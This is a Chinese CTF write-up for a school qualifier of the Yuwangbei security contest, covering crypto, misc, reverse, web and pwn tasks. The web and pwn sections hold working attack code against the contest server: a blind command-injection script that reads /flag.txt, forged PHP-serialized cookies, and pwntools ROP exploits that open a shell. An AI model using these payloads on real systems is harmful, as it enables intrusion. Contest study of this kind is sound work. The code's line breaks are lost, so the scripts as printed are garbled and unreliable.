本届御网杯题目难度相对较低,毕竟是校级选拔赛,题型也较为基础。不过其中几题挺有创意,属于脑洞题。接下来,我将分享解题思路。如有错误或更优解,欢迎批评指正并交流。
Crypto
cry_rsa
在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=19
求解出d,然后把d的值加a为flag值。flag格式为flag{********}
p = 473398607161q = 4511491e = 19phi = (p - 1) * (q - 1)d = pow(e, -1, phi)flag = d print(flag)
签到题
010Editor打开,赛博厨子直接梭哈。
Gift
根据题目中的级数形式 1 - 1/3 + 1/5 - 1/7 + ...,结合搜索结果的数学知识可以判断,这是著名的莱布尼茨级数,用于计算圆周率 π/4 的近似值。因此,该级数的和为 π/4,而“四分之一”对应题目中礼物被分成的“四份”,暗示最终的礼物与圆周率 π 相关。
级数的结果直接关联到圆周率 π,而 π 的英文发音与食物“派”(Pie)谐音,符合“礼物”的日常语境(如苹果派、南瓜派等)。
凯撒密码加密:根据凯撒密码的规则:
-
P → T -
I → M -
E → I因此,“PIE”加密后为 TMI。
答案推导:结合上述分析,礼物应为 pie(派),加密后得到 tmi。
草甸方阵的密语
先栅栏解密,再凯撒解密,当然反过来也行。
baby_rsa
import requestsfrom Crypto.Util.number import long_to_bytes api = "https://factordb.com/api?query="deffactorize(n): response = requests.get(api + str(n))if response.status_code != 200:returnNoneelif response.json()["status"] == "FF":if len(response.json()["factors"]) == 2: p,q = int(response.json()["factors"][0][0]),int(response.json()["factors"][1][0])if p*q != int(n):returnNonereturn p,qreturnNonereturnNoneif __name__ == "__main__": e = int(input("请输入模数e:")) n = input("请输入公钥n:") fac_n = factorize(n)if fac_n == None: print("无法分解n") exit() p,q = fac_n[0],fac_n[1] c = int(input("请输入密文c:")) phi_n = (p-1)*(q-1) d = pow(e,-1,phi_n) m = pow(c,d,int(n)) print("明文为:",long_to_bytes(m))
ez_base
垃圾邮件解密
https://www.spammimic.com/decode.cgi
解出再后base64解
MISC
ez_xor
data = " "# 填写自己附件中的内容,去掉 -for i in range(0, len(data), 2): a = int(data[i : i + 2], 16) print(chr(a ^ 57), end="")
文本的-替换为空格
data = "xx xx xx xx".split() # 分割十六进制字符串为列表for hex_byte in data: a = int(hex_byte, 16) # 转换为十进制整数 print(chr(a ^ 57), end="") # 异或运算后转字符
被折叠的显影图纸
右键,文本文档,搜索flag
光隙中的寄生密钥
文件分离出压缩包
爆破压缩包密码得到
密钥:9864
然后文本Hex之后转Base64
ez_picture
随波逐流一把嗦
LSB row的RGB是压缩包密码999999999
继续随波逐流1.png
解密base64
easy_misc
import base64import base58import codecsdefdec_to_str(dec_str):""" 将十进制字符串(以空格分隔)转换为对应的字符字符串 :param dec_str: 十进制字符串,以空格分隔 :return: 转换后的字符字符串 """ dec_list = dec_str.split() result = ""for dec in dec_list:try: char_code = int(dec) result += chr(char_code)except ValueError: print(f"错误:{dec} 不是有效的十进制数")return resultdefbase64_decode(input_str):""" 对输入的字符串进行Base64解密 :param input_str: 待解密的Base64编码字符串 :return: 解密后的字符串 """try: decoded_bytes = base64.b64decode(input_str)return decoded_bytes.decode('utf-8')except Exception as e: print(f"Base64解密失败: {e}")return input_strdefbase58_decode(input_str):""" 对输入的字符串进行Base58解密 :param input_str: 待解密的Base58编码字符串 :return: 解密后的字符串 """try: decoded_bytes = base58.b58decode(input_str)return decoded_bytes.decode('utf-8')except Exception as e: print(f"Base58解密失败: {e}")return input_strdefrot13_decode(input_str):""" 对输入的字符串进行ROT13解密 :param input_str: 待解密的字符串 :return: 解密后的字符串 """return codecs.encode(input_str, 'rot_13')defmain():# 获取用户输入的十进制字符串 dec_input = input("请输入以空格分隔的十进制字符串: ")# 十进制转字符 str_result = dec_to_str(dec_input) print(f"十进制转字符结果: {str_result}")# Base64解密 b64_result = base64_decode(str_result) print(f"Base64解密结果: {b64_result}")# Base58解密 b58_result = base58_decode(b64_result) print(f"Base58解密结果: {b58_result}")# ROT13解密 rot13_result = rot13_decode(b58_result) print(f"ROT13解密结果: {rot13_result}")if __name__ == "__main__": main()
套娃
解压三次 在文件夹里面的document.xml文件找flag
Web
YWB_Web_xff
改字段,然后随意输入账号密码登陆
flag{9u60w1kemajt}
YWB_Web_未授权访问
Cookie中user解码
O:5:"Admin":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:0;}
记得url编码
O:5:"Admin":2:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}
不会改cookie可以参考https://www.cnblogs.com/mmykdbc/p/12331451.html
flag{rpuqari28i9l}
easyweb
盲注脚本
import requestsimport timeurl = "http://47.105.113.86:40005/"flag = ""charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-"# 常见字符timeout = 3# 延迟阈值(秒)for position in range(1, 50): # 假设 flag 不超过 50 字符 found = Falsefor char in charset:# 构造命令:检查第 position 个字符是否为 char cmd = f"if [ $(cut -b {position} /flag.txt) = '{char}' ]; then sleep {timeout}; fi"try: start = time.time() response = requests.post(url, data={"cmd": cmd}, timeout=timeout + 2) elapsed = time.time() - startif elapsed >= timeout: flag += char print(f"[+] Flag: {flag}") found = Truebreakexcept:continueifnot found:break# 所有字符均未匹配,可能已到末尾print(f"Final Flag: {flag}")
flag{d4ek6s7kzztx}
命令执行绕过
Payload:http://47.105.113.86:40002/?cmd=readfile(%27/tmp/flag.nisp%27);
反序列化题目
Payload:O:7:"mylogin":2:{s:4:"user";s:5:"admin";s:4:"pass";s:11:"myzS@11wawq";}
在文本框提交
Pwn
Canary
from pwn import *p=remote('47.105.113.86',30001)sys_addr=0x401581payload=b'a'*(88+16)+p64(0)+p64(0)+p64(sys_addr)p.recvuntil('choice')p.sendline('1')p.recvuntil('code:')p.sendline(payload)p.recvuntil('choice')p.sendline('2')p.sendline('3')p.interactive()
flag{00d76796e489999226fb5bb27fe1b3b3}
ez_pwn
from pwn import*context(arch='amd64',log_level='debug')# p=process("./pwn")p=remote("47.105.113.86",30003)e=ELF("./pwn")libc=ELF("./libc-2.31.so")bss=0x404000pop_rdi=0x4012c3pop_rsi_r15=0x4012c1pop_rbp=0x40117dpayload=b'a'*0x20+p64(bss+0x300)+p64(pop_rdi)+p64(2)+p64(pop_rsi_r15)+p64(e.got['read'])+p64(0)+p64(e.plt['write'])+p64(0x4011E9)debug(p)p.recvuntil(" now.")p.sendline(payload)addr=u64(p.recv(6).ljust(0x8,b'x00'))-0x110fa0print("addr")payload1=b'a'*0x28+p64(0x4012bc)+p64(0)*4+p64(0xe6aee+addr)p.sendline(payload1)#exec 1>&0p.interactive()
flag{a51a3bdf23919f677efccd90270da72f}
Re
sign in
首先Linux脱壳
upx -d <文件名>
找密钥,然后解RC4
# 构造密钥v1 = [0xB8C6B89FC8B99FC8,0xCFB7B0C51443528F,0xB1A8C6B99BC7AC9C,0xBDC68AB3C59299C5]v2 = -1499806587key = b''for num in v1: key += num.to_bytes(8, 'little') # 每个v1元素转8字节小端key += v2.to_bytes(4, 'little', signed=True) # v2转4字节小端,总密钥36字节# 构造密文(39字节)v3 = [0xC44817F289B15A46,0xE98EE51E34DE0202,0xB022D26986D7DB59]cipher = b''for num in v3: cipher += num.to_bytes(8, 'little') # v3贡献24字节# 处理v4的覆盖部分v4_initial = 0xF56522982F96412C.to_bytes(8, 'little') # 初始8字节overwrite_val = 0x2AC59E52A6F4F5overwrite_bytes = overwrite_val.to_bytes(8, 'little') # 覆盖的8字节小端# 合并:v4初始字节的前7字节 + 覆盖的8字节,共15字节v4_part = bytearray(v4_initial[:7]) # 前7字节保持原样v4_part += overwrite_bytes # 添加覆盖的8字节cipher += bytes(v4_part) # 总密文24+15=39字节# RC4解密函数defrc4_decrypt(key, ciphertext): S = list(range(256)) j = 0# 初始化S盒for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i]# 生成密钥流并解密 i = j = 0 plain = []for byte in ciphertext: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] plain.append(byte ^ k)return bytes(plain)# 解密并输出flag = rc4_decrypt(key, cipher)print("Flag:", flag.decode('latin-1', errors='replace'))
ez_math
with open('./eqEnc3', 'rb') as f: d = f.read() key = 'eq verySimple' dec = []for index, item in enumerate(d): dec.append(item ^ ord(key[index % len(key)]))with open('eq_decoded.txt', 'wb') as f2: f2.write(bytes(dec))
from z3 import *solver = Solver()x = [BitVec(f'x_{i}', 8) for i in range(38)]for var in x: solver.add(var >= 32, var <= 126)with open('eq_decoded.txt', 'r') as f: equations = f.readlines()for i, eq in enumerate(equations): eq = eq.strip() expr = eval(eq, {}, {"x": x}) solver.add(expr)if solver.check() == sat: model = solver.model() sorted_model = sorted([(d, model[d].as_long()) for d in model],key=lambda x: int(x[0].name().split('_')[1])) ascii_result = "".join([chr(value) for _, value in sorted_model if0 <= value <= 255]) print(ascii_result)
原文始发于微信公众号(赛查查):第九届御网杯网络安全大赛校级选拔赛题解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论